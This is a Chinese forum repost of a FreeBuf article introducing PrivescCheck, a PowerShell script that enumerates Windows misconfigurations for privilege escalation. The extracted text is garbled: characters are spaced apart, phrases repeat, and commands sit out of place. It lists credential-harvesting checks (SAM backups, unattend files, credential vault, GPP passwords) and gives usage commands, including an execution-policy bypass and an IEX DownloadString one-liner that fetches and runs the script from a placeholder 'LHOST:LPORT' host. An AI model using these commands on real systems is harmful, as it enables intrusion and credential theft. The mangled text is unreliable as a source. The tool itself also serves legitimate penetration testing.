搜索

[15215] 2020-04-05_PrivescCheck：一款针对Windows系统的提权枚举脚本

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-04-05_PrivescCheck：一款针对Windows系统的提权枚举脚本 P r i v e s c C h e c k ： 一 款 针 对 W i n d o w s 系 统 的 提 权 枚 举 脚 本 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 0 4 - 0 5 P r i v e s c C h e c k P r i v e s c C h e c k 是 一 款 针 对 是 一 款 针 对 W i n d o w s 系 统 的 提 权 枚 举 脚 本 ， 该 脚 本 能 够 枚 举 出 目 标 系 统 的 提 权 枚 举 脚 本 ， 该 脚 本 能 够 枚 举 出 目 标 W i n d o w s 系 统 中 常 见 的 系 统 中 常 见 的 W i n d o w s 错 误 安 全 配 置 ， 而 这 些 错 误 的 安 全 配 置 将 允 许 攻 击 者 在 目 标 系 统 中 实 现 信 息 收 集 以 及 权 限 提 升 ， 这 些 错 误 安 全 配 置 ， 而 这 些 错 误 的 安 全 配 置 将 允 许 攻 击 者 在 目 标 系 统 中 实 现 信 息 收 集 以 及 权 限 提 升 ， 这 些 对 于 攻 击 者 的 漏 洞 利 用 以 及 后 渗 透 攻 击 来 说 将 非 常 有 用 。 对 于 攻 击 者 的 漏 洞 利 用 以 及 后 渗 透 攻 击 来 说 将 非 常 有 用 。 该 工 具 基 于 P o w e r U p 这 款 工 具 实 现 ， 并 且 添 加 了 更 多 的 检 测 机 制 ， 以 降 低 工 具 的 误 报 率 。 目 前 ， 该 项 目 仍 处 于 开 发 阶 段 ， 因 为 我 们 还 打 算 向 其 中 添 加 更 多 的 检 测 机 制 ， 不 过 该 项 目 现 已 接 近 完 工 。 其 实 我 本 人 非 常 喜 欢 P o w e r U p ， 因 为 它 可 以 快 速 枚 举 出 目 标 设 备 中 的 常 见 漏 洞 ， 而 且 无 需 借 助 第 三 方 工 具 实 现 。 但 问 题 就 在 于 ， 该 工 具 已 经 多 年 未 更 新 了 ， 而 且 该 工 具 有 的 时 候 返 回 的 结 果 并 不 准 确 ， 存 在 一 定 的 误 报 。 因 此 ， 在 P r i v e s c C h e c k 脚 本 中 我 们 考 虑 了 以 下 几 个 方 面 ： 1 、 不 使 用 类 似 a c c e s s c h k . e x e 之 类 的 第 三 方 工 具 ； 2 、 不 使 用 类 似 w h o a m i . e x e 或 n e t s t a t . e x e 之 类 的 W i n d o w s 内 置 命 令 ； 3 、 不 使 用 类 似 s c . e x e 或 t a s k l i s t . e x e 之 类 的 W i n d o w s 内 置 工 具 ； 4 、 不 使 用 W M I ； 5 、 必 须 兼 容 P o w e r S h e l l   v 2 ； 工 具 下 载 工 具 下 载 广 大 研 究 人 员 可 以 使 用 下 列 命 令 将 项 目 源 码 克 隆 至 本 地 ： 工 具 使 用 工 具 使 用 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / i t m 4 n / P r i v e s c C h e c k . g i t
我 们 可 以 直 接 在 一 个 P o w e r S h e l l 命 令 行 控 制 台 中 运 行 该 脚 本 ： 该 工 具 在 显 示 输 出 数 据 的 同 时 ， 会 将 它 们 写 入 到 一 个 日 志 文 件 中 ： 除 此 之 外 ， 我 们 也 可 以 打 开 C M D 命 令 行 工 具 来 使 用 该 脚 本 ： 当 然 了 ， 你 也 可 以 从 一 台 远 程 W e b 服 务 器 来 导 入 并 使 用 该 脚 本 ： 功 能 介 绍 功 能 介 绍 获 取 当 前 用 户 信 息 获 取 当 前 用 户 信 息 I n v o k e - U s e r C h e c k   -   获 取 当 前 用 户 的 用 户 名 和 S I D I n v o k e - U s e r G r o u p s C h e c k   -   枚 举 当 前 用 户 所 属 的 组 （ 默 认 组 和 低 特 权 组 除 外 ） I n v o k e - U s e r P r i v i l e g e s C h e c k   -   枚 举 潜 在 高 权 限 用 户 的 令 牌 获 取 目 标 设 备 服 务 获 取 目 标 设 备 服 务 I n v o k e - I n s t a l l e d S e r v i c e s C h e c k   -   枚 举 非 默 认 服 务 I n v o k e - S e r v i c e s P e r m i s s i o n s C h e c k   -   枚 举 当 前 用 户 可 以 通 过 服 务 控 制 管 理 器 修 改 的 服 务 I n v o k e - S e r v i c e s P e r m i s s i o n s R e g i s t r y C h e c k   -   枚 举 当 前 用 户 可 在 注 册 表 中 修 改 的 服 务 I n v o k e - S e r v i c e s I m a g e P e r m i s s i o n s C h e c k   -   E 枚 举 具 有 可 修 改 二 进 制 文 件 （ 或 参 数 ） 的 所 有 服 务 I n v o k e - S e r v i c e s U n q u o t e d P a t h C h e c k   -   枚 举 具 有 可 利 用 的 未 引 用 路 径 的 服 务 D L L 劫 持 劫 持 程 序 程 序 / 进 程 获 取 进 程 获 取 I n v o k e - I n s t a l l e d P r o g r a m s C h e c k   -   枚 举 默 认 情 况 下 未 安 装 的 应 用 程 序 I n v o k e - M o d i f i a b l e P r o g r a m s C h e c k   -   枚 举 拥 有 D L L 文 件 的 可 修 改 E X E 的 应 用 程 序 I n v o k e - R u n n i n g P r o c e s s C h e c k   -   枚 举 正 在 运 行 的 进 程 获 取 凭 据 获 取 凭 据 I n v o k e - S a m B a c k u p F i l e s C h e c k   -   检 查 S A M / S Y S T E M 备 份 文 件 的 常 用 位 置 I n v o k e - U n a t t e n d F i l e s C h e c k   - 枚 举 无 人 使 用 的 文 件 并 提 取 凭 证 P S   C : T e m p >   S e t - E x e c u t i o n P o l i c y   B y p a s s   - S c o p e   P r o c e s s   - F o r c e           P S   C : T e m p >   .   . I n v o k e - P r i v e s c C h e c k . p s 1 ;   I n v o k e - P r i v e s c C h e c k P S   C : T e m p >   .   . I n v o k e - P r i v e s c C h e c k . p s 1 ;   I n v o k e - P r i v e s c C h e c k   |   T e e - O b j e c t   " C : T e m p r e s u l t . t x t " C : T e m p > p o w e r s h e l l   - e p   b y p a s s   - c   " .   . I n v o k e - P r i v e s c C h e c k . p s 1 ;   I n v o k e - P r i v e s c C h e c k " C : T e m p > p o w e r s h e l l   " I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / L H O S T : L P O R T / I n v o k e - P r i v e s c C h e c k . p s 1 ' ) ;   I n v o k e - P r i v e s c C h e c k " I n v o k e - D l l H i j a c k i n g C h e c k   -   检 查 是 否 有 任 何 系 统 路 径 文 件 夹 可 修 改
I n v o k e - W i n l o g o n C h e c k   -   检 查 存 储 在 W i n l o g o n 注 册 表 项 中 的 凭 据 I n v o k e - C r e d e n t i a l F i l e s C h e c k   -   枚 举 存 储 在 当 前 用 户 A p p D a t a 文 件 夹 中 的 凭 据 文 件 I n v o k e - V a u l t C r e d C h e c k   -   枚 举 保 存 在 凭 据 管 理 器 中 的 凭 据 I n v o k e - V a u l t L i s t C h e c k   -   枚 举 保 存 在 凭 据 管 理 器 中 的 w e b 凭 据 I n v o k e - G P P P a s s w o r d C h e c k   -   枚 举 包 含 非 空 “ c p a s s w o r d ” 字 段 的 组 策 略 首 选 项 （ G P P ） 获 取 注 册 表 信 息 获 取 注 册 表 信 息 I n v o k e - U a c C h e c k   -   检 查 是 否 启 用 了 U A C （ 用 户 访 问 控 制 ） I n v o k e - L a p s C h e c k   -   检 查 是 否 启 用 了 L A P S （ 本 地 管 理 密 码 解 决 方 案 ） I n v o k e - P o w e r s h e l l T r a n s c r i p t i o n C h e c k   -   检 查 是 否 配 置 / 启 用 了 P o w e r S h e l l 转 录 I n v o k e - R e g i s t r y A l w a y s I n s t a l l E l e v a t e d C h e c k   -   检 查 注 册 表 中 是 否 设 置 了 A l w a y s I n s t a l l E l e v a t e d 项 I n v o k e - L s a P r o t e c t i o n s C h e c k   -   检 查 L S A S S 是 否 作 为 受 保 护 进 程 运 行 （ 附 加 检 查 ） 获 取 网 络 信 息 获 取 网 络 信 息 I n v o k e - T c p E n d p o i n t s C h e c k   -   枚 举 本 地 计 算 机 （ I P v 4 和 I P v 6 ） 上 的 异 常 T C P 节 点 I n v o k e - U d p E n d p o i n t s C h e c k   -   枚 举 本 地 计 算 机 （ I P v 4 和 I P v 6 ） 上 的 异 常 U D P 节 点 其 他 杂 项 其 他 杂 项 I n v o k e - W i n d o w s U p d a t e C h e c k   -   检 查 目 标 设 备 的 上 次 更 新 时 间 I n v o k e - S y s t e m I n f o C h e c k   -   获 取 目 标 设 备 操 作 系 统 的 名 称 和 完 整 的 版 本 字 符 串 I n v o k e - L o c a l A d m i n G r o u p C h e c k   -   枚 举 默 认 本 地 管 理 组 的 成 员 I n v o k e - M a c h i n e R o l e C h e c k   -   获 取 目 标 设 备 的 角 色 （ 工 作 站 、 服 务 器 、 域 控 制 器 ） I n v o k e - S y s t e m S t a r t u p H i s t o r y C h e c k   -   获 取 目 标 设 备 系 统 启 动 事 件 的 列 表 I n v o k e - S y s t e m S t a r t u p C h e c k   -   获 取 目 标 系 统 的 上 次 启 动 时 间 I n v o k e - S y s t e m D r i v e s C h e c k   -   获 取 当 前 映 射 的 本 地 驱 动 器 和 网 络 共 享 的 列 表 项 目 地 址 项 目 地 址 P r i v e s c C h e c k ： 【 点 击 底 部 阅 读 原 文 查 看 】 *   参 考 来 源 ： 参 考 来 源 ： i t m 4 n ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理